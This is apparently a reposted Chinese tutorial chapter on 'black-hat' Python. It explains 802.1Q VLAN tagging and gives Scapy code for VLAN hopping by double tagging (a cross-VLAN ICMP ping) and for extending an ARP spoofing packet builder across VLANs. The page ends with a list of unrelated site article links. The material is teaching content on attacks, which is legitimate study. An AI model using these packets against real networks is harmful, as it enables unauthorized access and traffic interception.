Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
Python中使用wxPython开发的一个简易笔记本程序实例
Feb 08 Python
Python实例一个类背后发生了什么
Feb 09 Python
Python引用传值概念与用法实例小结
Oct 07 Python
Python中的异常处理try/except/finally/raise用法分析
Feb 28 Python
Python去除字符串前后空格的几种方法
Mar 04 Python
​如何愉快地迁移到 Python 3
Apr 28 Python
在python中实现调用可执行文件.exe的3种方法
Jul 07 Python
python学生信息管理系统实现代码
Dec 17 Python
keras 多gpu并行运行案例
Jun 10 Python
python和js交互调用的方法
Jun 23 Python
Django静态文件加载失败解决方案
Aug 26 Python
python Cartopy的基础使用详解
Nov 01 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
一个颜色轮换的简单例子
2006/10/09 PHP
PHP使用GIFEncoder类处理gif图片实例
2014/07/01 PHP
php检查是否是ajax请求的方法
2015/04/16 PHP
PHP使用两个栈实现队列功能的方法
2018/01/15 PHP
JavaScript 学习初步 入门教程
2010/03/25 Javascript
Javascript 实现图片无缝滚动
2014/12/19 Javascript
javascript实现点击按钮弹出一个可关闭层窗口同时网页背景变灰的方法
2015/05/13 Javascript
Vue.js仿Metronic高级表格(二)数据渲染
2017/04/19 Javascript
一文了解vue-router之hash模式和history模式
2019/05/31 Javascript
Node配合WebSocket做多文件下载以及进度回传
2019/11/07 Javascript
重置Redux的状态数据的方法实现
2019/11/18 Javascript
js实现简单的随机点名器
2020/09/17 Javascript
[02:17]《辉夜杯》TRG战队巡礼
2015/10/26 DOTA
Python中类的定义、继承及使用对象实例详解
2015/04/30 Python
快速排序的算法思想及Python版快速排序的实现示例
2016/07/02 Python
Python 查找list中的某个元素的所有的下标方法
2018/06/27 Python
Python爬虫实现获取动态gif格式搞笑图片的方法示例
2018/12/24 Python
理想高通滤波实现Python opencv示例
2019/01/30 Python
python实现抖音点赞功能
2019/04/07 Python
python做反被爬保护的方法
2019/07/01 Python
python实现最大优先队列
2019/08/29 Python
Python利用多线程同步锁实现多窗口订票系统(推荐)
2019/12/22 Python
iPython pylab模式启动方式
2020/04/24 Python
工程师必须了解的LRU缓存淘汰算法以及python实现过程
2020/10/15 Python
python基于pygame实现飞机大作战小游戏
2020/11/19 Python
CSS3实现酷炫的3D旋转透视效果
2019/11/21 HTML / CSS
一篇文章带你学习CSS3图片边框
2020/11/04 HTML / CSS
采用专利算法搜索最廉价的机票:CheapAir
2016/09/10 全球购物
StubHub希腊:购买体育赛事、音乐会和剧院门票
2019/08/03 全球购物
在校生钳工实习自我鉴定
2013/09/19 职场文书
基层党组织公开承诺书
2014/03/28 职场文书
贷款委托书范本
2014/04/08 职场文书
《观舞记》教学反思
2014/04/16 职场文书
2014年银行个人工作总结
2014/12/05 职场文书
国王的演讲观后感
2015/06/03 职场文书
html网页引入svg图片的4种方式
2022/08/05 HTML / CSS